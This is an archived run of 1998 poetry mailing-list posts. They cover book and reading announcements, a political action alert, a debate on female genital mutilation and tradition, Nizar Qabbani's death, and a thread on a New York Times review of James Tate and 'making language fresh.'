``They were full of talent, and humor too,'' said antique dealer Monique Couturier, who bought a poster of a medicine bottle labeled ``Press: Do Not Swallow.''

She remembers the students who came to her shop to prepare for their marches, tying water-soaked bandannas over their noses and mouths as protection from tear gas.

But they were also virulent to the extreme. A poster of Hitler holding a mask of de Gaulle depicts the angry mood of those summer months.

↑ Index

699. Jordan Davis
keemun imp.
Wed 29 Apr 1998

Charles North's _No Other Way: Selected Prose_ is just out from Hanging Loose. I read it as the significant counterpoint to _Content's Dream_, more similarities than one might guess.

Generating some interest and some uninterest is Sianne Ngai's essay "Raw Matter: A poetics of disgust" in the current number of Open Letter. Philly talkers will remember that this is the piece Jeff Derksen cited in his brave stand against Ron Silliman. Philly talkers will also remember that Derksen, trapped, revealed the source of at least one of his list of expletive percentages. In the essay Ngai calls for a poetics of muffled noises in response to cockroaches ingesting fecal matter. Gestalt me in!

Love,
Nobody Else

↑ Index

700. Maria Damon (Maria Damon)
gov't hijinx
Wed 29 Apr 1998

Subject: ACT TODAY

**********URGENT MESSAGE**********
****

From: "Temple, Elena" <[redacted]>

FOR IMMEDIATE RELEASE Contact: Elena Temple April 29, 1998
[redacted]

AVISORY!
ADVISORY!
ADVISORY!

* * * S P E C I A L A L E R T ! * * *

Washington, D.C. - Congressman Albert R. Wynn (D-MD) is issuing a special alert regarding H.R. 6 - a bill introduced by Rep. Frank Riggs (R-CA), which would prohibit all affirmative action in higher education admissions.

This extreme measure, to be considered on the House floor TODAY, (4/29) is a sweeping proposal that would prohibit affirmative action designed to remedy documented and proven history of discrimination against persons on the basis of race, sex, color, ethnicity, or national origin.

The bill affects virtually all colleges and universities across the country, public and private, from using affirmative action in their admissions policies - even if the school believes it is necessary to ensure a diverse student body.

Because the bill uses the term "preferential treatment" without defining it, the term could be interpreted broadly to cover a wide range of admission policies and practices - including outreach and recruitment.

This bill -- to be certain -- will lead to an unprecedented degree of federal regulation of college and university admission activities.

Please contact Speaker Newt Gingrich's office to express your opposition to the Riggs Amendment!

Speaker Newt Gingrich :
phone [redacted]
Fax [redacted]
E-mail [redacted]
###

↑ Index

701. **Simon/Piombino**
Poets for Choice reading
Wed 29 Apr 1998

Nick Piombino reads
with Erica Hunt and Ed Foster
at the Ceres Gallery
584 Broadway, Room 306
May 7th Thursday
7:30 p.m.
Poets for Choice at Ceres
Benefit for Planned Parenthood of NY
$7 contribution

announcing Nick's new web site!
http://writing.upenn.edu/epc/authors/piombino

↑ Index

702. **Pritchett,Patrick**
Re: gov't hijinx
Wed 29 Apr 1998

Thanks for the heads up Maria. The e-address for Gingrich is wrong, however. I just spoke with his office and got the correct one. It's: [redacted]

Patrick Pritchett

↑ Index

703. **Christopher W. Alexander**
Re: gov't hijinx
Wed 29 Apr 1998

---

just a correction on Maria's post:
the Newt's email address is:

[redacted]

not
> [redacted]

folks who want to contact their own
representatives (House, in this case)
may find this site useful:

Voices
<http://www.yes.ucla.edu/voices/>

it contains a full Congressional directory,
email addresses, even a form so that you
can email your representatives right from
the site, tho the latter seems to be down
just now.

of course, it's no substitute for throwing
the bums out, all of 'em...

good luck. chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

704. Christopher W. Alexander
Newt's address - finally
Wed 29 Apr 1998

Patrick says:
> [redacted]

but it's really:
[redacted]
^^^^

the typo was appropriate, tho.

chris

..

Christopher Alexander [redacted]
Marriott Library Instruction [redacted] (lv. msg.)
http://www.lib.utah.edu/instruction/mltech.html

↑ Index

705. morpheal
Re: women, torture, tradition, style
Wed 29 Apr 1998

> *I think both Islam and tradition are getting a bad rap here. Not every traditionalist Islamic believer believes in female genital mutilation. And _which_ tradition? There is a tendency to pretend that only the most rigid*

> *belief/behavior systems have roots in tradition. But many of these represent quite radical shifts from long-standing less rigid traditions --- for example, what is going on in Afghanistan right now is a radical shift from local practice.*

I agree with you on that. I cannot, from my own knowledge, claim that it is a practice that is specifically condoned by that tradition. It is clearly not strongly opposed. I think, without more expertise in that area, that is all we can really say. If it is practiced and not opposed, then similar to what sati (the immolation of wives on their deceased husband's funeral pyres) was to the Hindu tradition before British intervention, the practice is condoned by the cultures / traditions wherein it is practiced.

When the spiritual leaders with Islam declare that the practice is forbidden, then the practice will no doubt end among Islamic people. Does the existence of the practice that mean there is a basis for the practice in Islamic tradition ? Not necessarily. Though it might mean that there is no basis for any strong opposition to the practice within the tradition.

> *I also question the interpretation of "the very use of a western style poem," but will leave that to others who know more about cross-cultural borrowings.*

I think that we have to realize that in fact, no matter what we give lip service to, we do not really respect many of their beliefs and practices (whomever THEY are) and THEY do not in fact respect many of our beliefs and practices. Anything beyond that is simply diplomacy jostling for momentary strategic and economic advantege. While I hate to be so Machiavellian about it, it is the way the world in fact functions.

Besides that, the limits of respect as to allowing them their's, if they do not attempt to force their's onto us and make us follow their's, are breached in the instance where there are members of their own group who want to free themselves, or to be freed by means of intervention, from oppressive practices and beliefs that they do not freely choose to accept and follow, but are constrained to by force, and by means of fear and intimidation even unto potential loss of life.

Where does respect for alien practices and beliefs end, and intervention against the oppressors become not only acceptable, but necessary ?

A difficult but not an impossible question.

M.

↑ Index

706. **morpheal**
Re: women, torture
Wed 29 Apr 1998

> *Briefly on "The Infibulation Ceremony" poem. I welcome morpheal's interest and Judy Roitman's point that traditionalism and Islam don't necessarily imply belief in female genital mutilation -- the prose-surround that normally accompanies this poem fully covers this point and cites a beautiful Islamic statement about tolerance. As infibulation is only mentioned in the hadith (traditional sayings of Mohammed), its justification is often regarded as open to scholarly interpretation.*

Everything is that way in those kinds of systems. Koran is, I seem to recall, considered the sum total of all human knowledge, all science. So mere mention of something is often considered sufficient. Even vague allusion, of subsequent reading into the text itself what was unknown at the time of writing, is often considered sufficient.

Also, the tendency is that if it is mentionned, included, there, and not forbidden explicitly, then it is an accepted practice within the tradition. I doubt, in that case, if you are right about that, that any Islamic leader will strongly oppose the practice. They do not tend to oppose "included" practices that are "mentionned" in the hadith.

> *I don't think opposing it would be regarded as Satanic, perhaps even by most hard-liners. As for Western poetry, I mainly said that my poem was unlikely to get through to Somali nomads -- given the widespread illiteracy alone, an uncontroversial point.*

It could, perhaps, but to their worldview it would be unintelligible.

That is a huge problem in the attempts to communicate across cultural boundaries. The worldviews are so different, so hard to get one's own head into and understand.....and then too damn easy for whomever gets their head into that space and that space into the head to end up "going native".

M.

↑ Index

707. **Keston Sutherland**
new books by Davis & Prynne
Wed 29 Apr 1998

Barque Press is looking for subscribers with whose money it can surge ahead into a fatter backlist, and deems fit to propose the following scheme:

Barque publishes about 5 books a year. Any subscriber will receive the next 5, two of which will be Jordan Davis's _Poem on a Train_ and JH Prynne's _Red D

Gypsum_ (not to be included in the forthcoming collected), at the cut rate of $35 incl. postage. New books will be, otherwise, $10 incl. postage. This is more than I'd like to charge, but cannot persist with present joyous money-flushing attitude. I offer whatever guarantee imaginable that all books will be pretty interesting and nicely produced. The two mentioned, Davis's and Prynne's, will be made with the help of monies received in this way or otherwise but preferably former. Gentle poets, all cashes should be up front naturally. Any profligate souls? Yrs, Keston Sutherland

↑ Index

708. **toddbaron**

Re: women, torture

Thu 30 Apr 1998

Important to remember (& know that the first Muslims studied language, history, and science in order to read the Q'uran--interpret--translate--and that THAT is still an ongoing function of Islam --as well as Judaismm and Christianity-- so that the Q'uran was not really considered "the sum total" but rather the book unto which (into which) the sum might be FOUND. I don't believe therfore that a reading into the text--by readers--would have been "unknown" at the time of the intial scribblings began...

↑ Index

709. **David Baratier**

Re: The Book of Spicer

Thu 30 Apr 1998

"a poem is never to be judged by itself alone." This is not a poem. Therefore unjudged by converse logic. Which in turn means, perhaps, that testing the anthologist of Spicer who does not honor Jack's wishes selected with an agenda. If I take this idea too seriously then I might believe anthologies affect the real in the same way that a politician is always adressing his friends or the fact that most americans believe houdini was killed during a magic stunt because of a made for tv movie. Spicer, by selecting the best bits from this or that sequence, for his Collected Poems 1945-1946 (Oyez:White Rabbit) created many moral problems for me like baseball.

David Baratier

↑ Index

710. Jordan Davis
sorrel programs are basal
Thu 30 Apr 1998

Dave! you hall of fame catcher

Good to see you on the list again -- I am much interested in this "moral problems like baseball" you say Spicer's oyez selected brought on. Is this the problem of choosing of aesthetics of excluding? Are they problem of reading other people's work, writing your own work, figuring out what work works, what? Or am I lunkheading out because I only really remember Charles DeGaulle and JFK when it comes to moral problems like baseball.

As Carol Mirakove says, kids want to know --
Jordan

PS computer groups mad about anti-proliferation commerce leaks -- 2000 million theoretical operations per second

↑ Index

711. Pritchett,Patrick
Re: Hejinian in Denver
Thu 30 Apr 1998

For any in the Greater Tri-Tumbleweed area, Lyn Hejinian will be at the University of Denver tomorrow (Friday) to give a talk and a reading. Talk will be from 2-4, reading at 7:30. For info call [redacted]. This is part of a Visiting Writers series put on by Cole Swensen, who is really doing a great job bringing in first-rate people.

Rachel Levitsky and I will be attending and we couldn't be more excited. I for one hope to bring back a more intelligible report then the one I posted about the Bromige/Hollo/Swensen reading here in Boulder last month.

Patrick Pritchett

↑ Index

712. MAYHEW
James Tate
Thu 30 Apr 1998

From a review of James Tate in the "New York Times Book Review," by one Adam Kirsch:

"Like the even more nonsensical
Language poets, Tate is trying to make words fresh again, to

restore the glow that is
rubbed away by advertisements and professional jargon and simple day-to-day
repetition. Thus the reader discovers these deadpan absurdities: ''Please don't taunt the
scrivener. . . . / No muffins permitted in the aviary.'' Or: ''my studies, Retro- /
gression and the Requiem Shark, to name but one area.''"

The problem is that this idea of "making words fresh again" is itself a tired commonplace. I also find the phrase "the even more non-sensical langauge poets" hilarious. Apart from this, the review does have some insight.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

713. Pritchett,Patrick
Re: Syrian Poet Nizar Qabbani Dies
Thu 30 Apr 1998

April 30, 1998

By The Associated Press

LONDON (AP) -- Nizar Qabbani, the Syrian-born poet admired by generations of Arabs as the master of love verse, died today at his home in London. He was 75.

His family said he died of a heart attack. The poet had been in poor health for some months.

Syrian President Hafez Assad planned to send a plane to take Qabbani's body back to his native land.

In Cairo, Gamal el-Ghitanti, the Egyptian novelist and editor of the weekly News of Literature, described Qabbani as the most popular Arab poet of the 20th century.

``He was by any measure a great Arab poet who made a big effort to make his poetry understandable to all people and not only to the elite,'' he told The Associated Press.

In Damascus, the Syrian poet Youssef Karkoutly said Qabbani was ``as necessary to our lives as air.''

Qabbani became popular in 1954 when he published his first volume ``Childhood of A Breast, '' which broke from the conservative traditions of Arab literature.

He later wrote poems dealing with social and political issues. After the 1967 Arab-Israeli war he lamented in poetry what he saw as a bitter defeat of the Arab states.

Qabbani also was a committed Arab nationalist. Two themes dominated his verse: dictatorship and the Arab-Israeli conflict.

His later work also criticized the male-dominance of Arab society and its attempts to deprive women of their rights. In his poem ``Drawing with Words'' he wrote: ``When a man wishes a woman he blows a horn,/But when a woman wishes a man she eats the cotton of her pillow.''

He wrote more than two dozen books of poems. He also contributed to the London-based Arabic-language newspaper, al-Hayat.

In 1973 he married Balqis al-rawi, an Iraqi teacher whom he had met at a poetry recital in Baghdad. She was killed in a bomb attack by pro-Iranian guerrillas in Beirut in 1981 while working for the Iraqi Embassy's cultural section.

He is survived by two daughters and a son.

↑ Index

714. David Golumbia
Re: new books by Davis & Prynne
Thu 30 Apr 1998

Keston,

where should we send money? and to whom should checks be made out?

Keston Sutherland wrote:
>
> Barque Press is looking for subscribers with whose money it can surge
> ahead into a fatter backlist, and deems fit to propose the following
> scheme:
>
> Barque publishes about 5 books a year. Any subscriber will receive the
> next 5, two of which will be Jordan Davis's _Poem on a Train_ and JH
> Prynne's _Red D Gypsum_ (not to be included in the forthcoming collected),
> at the cut rate of $35 incl. postage. New books will be, otherwise, $10
> incl. postage. This is more than I'd like to charge, but cannot persist
> with present joyous money-flushing attitude. I offer whatever guarantee
> imaginable that all books will be pretty interesting and nicely produced.

> The two mentioned, Davis's and Prynne's, will be made with the help of
> monies received in this way or otherwise but preferably former. Gentle
> poets, all cashes should be up front naturally. Any profligate souls?
> Yrs, Keston Sutherland
>

--
[redacted]
David Golumbia

↑ Index

715. **Mark Prejsnar**
Re: Stop, I did not drag my father
Thu 30 Apr 1998

On Tue, 28 Apr 1998, MAYHEW wrote:

> *By the "get your own anthology" argument all critique is automatically disarmed. If we can praise what's there it seems equally logical to look at what isn't, and perhaps speculate on why.*

Speculate, but the point stands: what they set out to do is a whole different conceptualization than yours (and, again, yours would be a helpful one to pursue, but it's a different conception)

↑ Index

716. **Mark Prejsnar**
Re: keemun imp.
Thu 30 Apr 1998

"Brave stand against Ron Silliman"??

interesting reading of that encounter...

On Wed, 29 Apr 1998, Jordan Davis wrote:

> *Charles North's _No Other Way: Selected Prose_ is just out from Hanging Loose. I read it as the significant counterpoint to _Content's Dream_, more similarities than one might guess.*
>
> *Generating some interest and some uninterest is Sianne Ngai's essay "Raw Matter: A poetics of disgust" in the current number of Open Letter. Philly talkers will remember that this is the piece Jeff Derksen cited in his brave stand against Ron Silliman. Philly talkers will also remember that Derksen, trapped, revealed the source of at least one of his list of expletive percentages. In the essay Ngai calls for a poetics of muffled*

> *noises in response to cockroaches ingesting fecal matter. Gestalt me in!*
>
> *Love,*
> *Nobody Else*

↑ Index

717. louis stroffolino
fresh
Thu 30 Apr 1998

Now Mayhew has caused Mayhem in the mind
i keep by a bar serving coors
and is reminding me of that terrible kool and the gong sang
(DIGRESSION: i listen to rap when cars pass, and i heard this line
"LIKE THE CAT WHO KILLED VERSACE" yesterday, can anybody
NAME THAT TUNE)
anyway, when i first read this quote i thought it was
"Tate is trying to make words FLESH again"
ah, the materiality of the word meets the
school of disembodied poets

Well, one could take Mayhew's problem further---
if the avoidance of cliche is now a cliche
then everything is permitted (which is a cliche too)....

But when we speak of the issue of "making language fresh"
(or however you want to express a similar impulse),
i guess there's a question involved about WHO you want
to do that for? And I wonder if there's a way to avoid
the possibility that someone will find "too obscure"
and "meaningless" what another person finds "too cliche"----
no matter WHAT kind of poem you write.....
chris
On Thu, 30 Apr 1998, MAYHEW wrote:

> *From a review of James Tate in the "New York Times Book Review," by one Adam Kirsch:*
>
> *"Like the even more nonsensical*
> *Language poets, Tate is trying to make words fresh again, to restore the glow that is*
> *rubbed away by advertisements and professional jargon and simple day-to-day*
> *repetition. Thus the reader discovers these deadpan*

> *absurdities: ''Please don't taunt the*
> *scrivener. . . . / No muffins permitted in the aviary.'' Or:*
> *''my studies, Retro- /*
> *gression and the Requiem Shark, to name but one area.''"*
>
> *The problem is that this idea of "making words fresh again" is itself a tired commonplace. I also find the phrase "the even more non-sensical langauge poets" hilarious. Apart from this, the review does have some insight.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

↑ Index

718. Billy Little
raworth
Thu 30 Apr 1998

From: tom raworth <[redacted]>
THings a little confused here, what with no home, and now having to go into hospital (heart) next tuesday.
received this as part of a note from tom this morning, anybody closer to the situation, know how we can help?

↑ Index

719. Michael Magee
Re: fresh
Thu 30 Apr 1998

" But when we speak of the issue of "making language fresh"
(or however you want to express a similar impulse),
i guess there's a question involved about WHO you want
to do that for? And I wonder if there's a way to avoid
the possibility that someone will find "too obscure"
and "meaningless" what another person finds "too cliche"----
no matter WHAT kind of poem you write.....
chris"

I think there are damn good reasons - social, political, and otherwise - for "keeping the language fresh" or howver you want to twist what that phrase signifies; and I'd say that the insistence that "freshness" as idea is now too commonplace is itself a bit commonplace and overly chic. That fact is that freshness provides absolutely necessary dissonances vis a vis normative usage, dissonaces which the language ultimately has to accomodate by becoming more flexible - the more flexible it becomes the more psossiblities that those who have constructed themselves via uninterpretable or unacceptable vocabularies can impress their vision(s) on larger communities of meaning. Language - as logical space - is open-ended, eh? This, not to mention that freshness is inevitable, generated by our various sub-community vernaculars every milisecond - hence "the cat who waxed Versace" (paraphrasing from memory as the repeater of vernacular expression is wont to do)...So, I'm all for freshness or the word which should be used in its place. -m.

↑ Index

720. **trace s. ruggles**
Re: fresh
Thu 30 Apr 1998

And, Kirsch's conclusion is:

.. And this, finally, is Tate's message to us: the little .. pleasures of ''pure ordinariness'' make all the pain .. worthwhile. The poems in ''Shroud of the Gnome'' are often .. difficult; but with a message like that, they cannot be a .. challenge.

Is Kirsch apologizing for Tate's poetry? Ah, if only the _message_ is good, you can forgive the poet for being _difficult_!

And, get this:

.. But while poets today may still use modernist techniques -- .. free association, surrealism, complex allusion -- the .. modernist temper is gone; poetry has to a large degree .. resumed its 19th-century role as a comfort and consolation, .. a retreat from the rigors of the world.

So, the 20th century was but a little diversion in the grand stream of POETRY which gave the POETS a few neat little tricks to use, but THANK GOD! we're back to comfort and consolation! So, please quit being so diffcult, y'all, and give me some nice little lines I can fall asleep to...

--trace--

At 8:39 AM -0700 4/30/98, you wrote:
> Now Mayhew has caused Mayhem in the mind

> i keep by a bar serving coors
> and is reminding me of that terrible kool and the gong sang
> (DIGRESSION: i listen to rap when cars pass, and i heard this line
> "LIKE THE CAT WHO KILLED VERSACE" yesterday, can anybody
> NAME THAT TUNE)
> anyway, when i first read this quote i thought it was
> "Tate is trying to make words FLESH again"
> ah, the materiality of the word meets the
> school of disembodied poets
> ---
> Well, one could take Mayhew's problem further---
> if the avoidance of cliche is now a cliche
> then everything is permitted (which is a cliche too)....
>
> But when we speak of the issue of "making language fresh"
> (or however you want to express a similar impulse),
> i guess there's a question involved about WHO you want
> to do that for? And I wonder if there's a way to avoid
> the possibility that someone will find "too obscure"
> and "meaningless" what another person finds "too cliche"----
> no matter WHAT kind of poem you write.....
> chris
>On Thu, 30 Apr 1998, MAYHEW wrote:
>
>> >From a review of James Tate in the "New York Times Book Review," by one
>> Adam Kirsch:
>>
>> "Like the even more nonsensical
>> Language poets, Tate is trying to make words fresh again, to
>> restore the glow that is
>> rubbed away by advertisements and professional jargon and
>> simple day-to-day
>> repetition. Thus the reader discovers these deadpan
>> absurdities: ''Please don't taunt the
>> scrivener. . . . / No muffins permitted in the aviary.'' Or:
>> ''my studies, Retro- /
>> gression and the Requiem Shark, to name but one area.'"
>>
>>
>> The problem is that this idea of "making words fresh again" is itself a
>> tired commonplace. I also find the phrase "the even more non-sensical

>> langauge poets" hilarious. Apart from this, the review does have some
>> insight.
>>
>>
>> Jonathan Mayhew
>> Department of Spanish and Portuguese
>> University of Kansas
>> [redacted]
>> [redacted]
>>

↑ Index

721. **Safdie Joseph**
Re: fresh
Thu 30 Apr 1998

In relation to what Chris says here, I found amusing the latest SPD flyer that arrived at my house, with a blurb from the book editor of the San Francisco Chronicle, Patricia Holt (but that's another story) -- something to the effect of "SPD has books by poets who really don't care if you understand them or not!" I thought it was a slightly curious thing to advertise . . .

> *----------*
> *From: louis stroffolino[SMTP:[redacted]]*
> *Sent: Thursday, April 30, 1998 8:39 AM*
> *To: [redacted]*
> *Subject: fresh*
>
> *Now Mayhew has caused Mayhem in the mind*
> *i keep by a bar serving coors*
> *and is reminding me of that terrible kool and the gong sang*
> *(DIGRESSION: i listen to rap when cars pass, and i heard this line*
> *"LIKE THE CAT WHO KILLED VERSACE" yesterday, can anybody*
> *NAME THAT TUNE)*
> *anyway, when i first read this quote i thought it was*
> *"Tate is trying to make words FLESH again"*
> *ah, the materiality of the word meets the*
> *school of disembodied poets*
> *----------*
> *Well, one could take Mayhew's problem further---*
> *if the avoidance of cliche is now a cliche*
> *then everything is permitted (which is a cliche too)....*
>
> *But when we speak of the issue of "making language fresh"*
> *(or however you want to express a similar impulse),*
> *i guess there's a question involved about WHO you want*

> *to do that for? And I wonder if there's a way to avoid*
> *the possibility that someone will find "too obscure"*
> *and "meaningless" what another person finds "too cliche"----*
> *no matter WHAT kind of poem you write.....*
> *chris*
> *On Thu, 30 Apr 1998, MAYHEW wrote:*
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> *From a review of James Tate in the "New York Times Book Review," by one Adam Kirsch:*
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> *"Like the even more nonsensical*
> *Language poets, Tate is trying to make words fresh again, to*
> *restore the glow that is*
> *rubbed away by advertisements and professional jargon and simple day-to-day*
> *repetition. Thus the reader discovers these deadpan absurdities: ''Please don't taunt the*
> *scrivener. . . . / No muffins permitted in the aviary.''*
> *Or:*
> *''my studies, Retro- /*
> *gression and the Requiem Shark, to name but one area.''"*
>
> *The problem is that this idea of "making words fresh again" is itself a tired commonplace. I also find the phrase "the even more non-sensical langauge poets" hilarious. Apart from this, the review does have some insight.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

↑ Index

722. **MAYHEW**
Fresh
Thu 30 Apr 1998

Yes, Louis, let's restore to language its original staleness. We could praise poets for their extreme conventionality. What struck me about the phrase I quoted was, precisely, its conventional formulation. This being said, it is still an un-avoidable concept.

Tate's poetry, which I have admired at some points of my life, is itself getting extremely formulaic, its zaniness somewhat predictable.

The hyperbanality of Raymond Roussel would be the other option, I suppose.

Jonathan Mayhem

↑ Index

723. **k. lederer**
Re: fresh
Thu 30 Apr 1998

Something I've noticed a lot re: difficulty---

There seems often to be (to continue to be) a real conflation of the poet with the speaker of the poems.

Martin Corless-Smith was recently here to read... to my utter surprise people thought his work was extremely difficult (if any of you have seen it....).

Judging from the questions people were asking (do you take yourself seriously? How do you figure the theme of 'faith' in your work and its relationship to the lack of 'faith' in narrative that seems also to be an element of your work?...) there was an insistence (on the part of a very educated-about-poetry audience) that the poet and the speaker in the poem were one and the same...

That to be 'serious' one must SAY very serious things....

That thematics and direct address are more comprehensible than fomral enactments or mood or tone.

Best,
Katy

↑ Index

724. **Judy Roitman**
Re: fresh
Thu 30 Apr 1998

> *In relation to what Chris says here, I found amusing the latest SPD flyer that arrived at my house, with a blurb from the book editor of the San Francisco Chronicle, Patricia Holt (but that's another story) -- something to the effect of "SPD has books by poets who really don't care if you understand them or not!" I thought it was a slightly curious thing to advertise . . .*

Geez I'm tired of that tired old saw. In this small poetry community in this small town there are 2 or 3 readings a year which trot out poets of all poetics to audiences varying widely (or is it wildly) in their understandings and by God when those of us who have or should have or wish we had stuff in SPD read invariably we get responses from those who have never heard of SPD or langpo or NYpoets or whatever saying things like "I don't get it but I really like it" or similar variations. Which is a higher sort of understanding, n'est ce pas? (excuse my French)

Also, to make things perfectly clear: it isn't "making language FRESH" it's "making language FISH."

Let's be careful out there.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

725. **Judy Roitman**

Re: fresh

Thu 30 Apr 1998

> *Something I've noticed a lot re: difficulty---*
>
> *There seems often to be (to continue to be) a real conflation of the poet with the speaker of the poems.*
>
> *Martin Corless-Smith was recently here to read... to my utter surprise people thought his work was extremely difficult (if any of you have seen it....).*
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> *Judging from the questions people were asking (do you take yourself seriously? How do you figure the theme of 'faith' in your work and its relationship to the lack of 'faith' in narrative that seems also to be an element of your work?...) there was an insistence (on the part of a very educated-about-poetry audience)*

Judging from the way I was "educated" about poetry, that probably was the problem.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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726. louis stroffolino
: fresh trace
Thu 30 Apr 1998

In response to TRACE---I guess I read Kirsch differently
(I disagree with his review but for different reasons than trace).
I think he's using the word "challenge" positively and lamenting
what he sees as a lack of that "challenge" in Tate. Kirsch, as I
see it, seems to lament the "19th century role" of poet as consoler
and comforter which he detects "beneath" the seemingly modern
disjunctive aleatory qualities of the poetry he's discussing.....
Now, whether he's ACCURATE about that is one thing
(in the first place, I don't quite know what he means about the
19th century poet of comfort and consolation: Baudelaire?
Dostoyevski [i know, not a poet] speaks of his writing as
"corrective punishment", I see that in much of Dickinson,
Shelley, etc. too)
Kirsch, of course, poses a reductive dichotomy
between "challenge" and "comfort" (but, then, critics and
scholars on both sides of the fence have been rewarded for
such rhetorical maneuvers for quite some time now....)

I also wonder about the phrase "retreat from the rigors of
the world". I think Kirsch finds such a stance terrible,
and Trace (who thinks Kirsch craves that kind of poetry)
also finds it terrible, or ethically unsound.
But sometimes the world does not come in the form of RIGORS
(rigors unmixed), and then such a "retreat" is not really
a retreat....
c

On Thu, 30 Apr 1998, trace s. ruggles wrote:

> *And, Kirsch's conclusion is:*

> .. And this, finally, is Tate's message to us: the little
> .. pleasures of ''pure ordinariness'' make all the pain
> .. worthwhile. The poems in ''Shroud of the Gnome'' are often
> .. difficult; but with a message like that, they cannot be a
> .. challenge.

Is Kirsch apologizing for Tate's poetry? Ah, if only the _message_ is good, you can forgive the poet for being _difficult_!

And, get this:

> .. But while poets today may still use modernist techniques --
> .. free association, surrealism, complex allusion -- the
> .. modernist temper is gone; poetry has to a large degree
> .. resumed its 19th-century role as a comfort and consolation,
> .. a retreat from the rigors of the world.

So, the 20th century was but a little diversion in the grand stream of POETRY which gave the POETS a few neat little tricks to use, but THANK GOD! we're back to comfort and consolation! So, please quit being so diffcult, y'all, and give me some nice little lines I can fall asleep to...

--trace--

At 8:39 AM -0700 4/30/98, you wrote:
Now Mayhew has caused Mayhem in the mind
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anyway, when i first read this quote i thought it was
"Tate is trying to make words FLESH again"
ah, the materiality of the word meets the
school of disembodied poets

Well, one could take Mayhew's problem further---
if the avoidance of cliche is now a cliche
then everything is permitted (which is a cliche too)....

But when we speak of the issue of "making language fresh"
(or however you want to express a similar impulse),
i guess there's a question involved about WHO you want
to do that for? And I wonder if there's a way to avoid
the possibility that someone will find "too obscure"
and "meaningless" what another person finds "too cliche"----
no matter WHAT kind of poem you write.....
chris

> *On Thu, 30 Apr 1998, MAYHEW wrote:*
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> *From a review of James Tate in the "New York Times Book Review," by one Adam Kirsch:*
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> *"Like the even more nonsensical*
> *Language poets, Tate is trying to make words fresh again, to restore the glow that is*
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> *scrivener. . . . / No muffins permitted in the aviary.'' Or: ''my studies, Retro- /*
> *gression and the Requiem Shark, to name but one area.''"*
>
> *The problem is that this idea of "making words fresh again" is itself a tired commonplace. I also find the phrase "the even more non-sensical langauge poets" hilarious. Apart from this, the review does have some insight.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

↑ Index

727. **k. lederer**

Re: Fresh

Thu 30 Apr 1998

Re: Chris and Mayhew....

I think of Juliana Spahr's work as in some sense a 'response' to the banalization of language...

It seems to me that a major 'argument' or aspect of Spahr's work is a formal and rhetorical insistence that 'drama' or 'emotion' or 'pitch' are not products of semantic zanniness or originality alone...

In fact, I would argue that Spahr's work is pretty gosh-darned whacky vis-a-vis her topics and the commercialized and banal language from which a lot of her diction seems to stem....

I don't think her diction or lexicon are banal in the extreme, however. I think that the greatest effect of shocking banality in her work comes from her modulation (or lack thereof) of tone...

The difficulty of language (in the form of vocabulary and
grammar) is, in my view, one very specific site of 'making it new'--

As in: I think tone and mood and cadence are some of the 'engines' driving a lot of the most original work around by (at least) younger writers...

Best,
Katy

↑ Index

728. William Burmeister Prod
Re: James Tate
Thu 30 Apr 1998

>The problem is that this idea of "making words fresh again" is itself a
 tired commonplace. I also find the phrase "the even more non-sensical
 langauge poets" hilarious. Apart from this, the review does have some
 insight.

It's not that the idea of making words fresh again is tired commonplace, it is the phrase itself, especially in the context of a review, that is perhaps tired, worn-out. The very idea of "making it new" is hardly Pound's and hardly new; it is inconceivable apart from poetry.

Argument

How can we live without the unknown in front of us?

Those of today want the poem to be in the image of their lives, composed of such little consideration, of such little space, and burned with intolerance.

Because it is no longer given to them to act supremely, in this fatal preoccupation with self-destruction by their fellows, because their inert wealth holds them back and enslaves them, those of today, their instinct weakened, lose--still keeping alive--even the dust of their names.

Born from the summons of becoming, and from the anguish of retention, the poem rising from its well of mud and stars, will bear witness, almost silently, that it contained nothing which did not truly exist elsewhere, in this rebellious and solitary world of contradictions.

- Rene Char (trans. by Mary Ann Caws)

William Burmeister

↑ Index

729. Douglas
new titles
Thu 30 Apr 1998

Three new titles just out from Sun & Moon Press,
and one new work from Green Integer. As usual,
we offer folks on the poetics list a 20% discount.

Order from [redacted]

LAST WORDS, by Guy Bennett

The first book of poems by poet/translator
Guy Bennett, our own Sun & Moon stalwart, who
typesets and designs the typography for all
our books. Guy's book uses a collage technique
of "writing through" other writers (in this
case, poets ranging from Stein to Guest, from
Lorca to Mac Low). Bennett fuses together a variety
of poetic timbres and stylistic registers into a
single lyric voice. The result is a suite of humorous,
often enigmatic poems whose potential meanings like
somewhere in the the linguistic, yet inevitably
human space that separates the reader from the work.

New American Poetry Series: 19 $9.95

NOON, by Cole Swensen

Cole's seventh book of poetry, chosen through the New American
Poetry competition, selected by Rae Armantrout. The poet
leaads us into NOON's interior so that we "see the word
as a single streak, something built of transparent speed:
pure white of the sort they say no one person, unaided,
can perceive."

New American Poetry Series: 24 $10.95

CHILDREN OF CLAY, by Raymond Queneau

The great novel by French OuLiPoian Queneau,
a book previously untranslated in English

Translated, with an introduction, by Madeleine Velguth.

Sun & Moon Classics: 100 $14.95

AN INTERVIEW, by Jean Renoir

An Interview represents the last public appearance and some of the last living statements on his films of the great French film director, Jean Renoir. In 1975 Renoir agreed to be interviewed by James Blue, James Silke, and others at the American Film Institute in Los Angeles. In this revealing interview Renoir speaks about his relationship with the industry, actors, and his major films.

Green Integer 6 $9.95

I look forward to hearing from you.

Douglas Messerli

↑ Index

730. **Christopher W. Alexander**

Re: fresh kitten

Thu 30 Apr 1998

---

well but the insistence that "the insistence that 'freshness as idea is now too commonplace is itself a bit commonplace and overly chic" is itself a bit commonplace and overly chic.

and the trauma of "existence 'in quotes'"

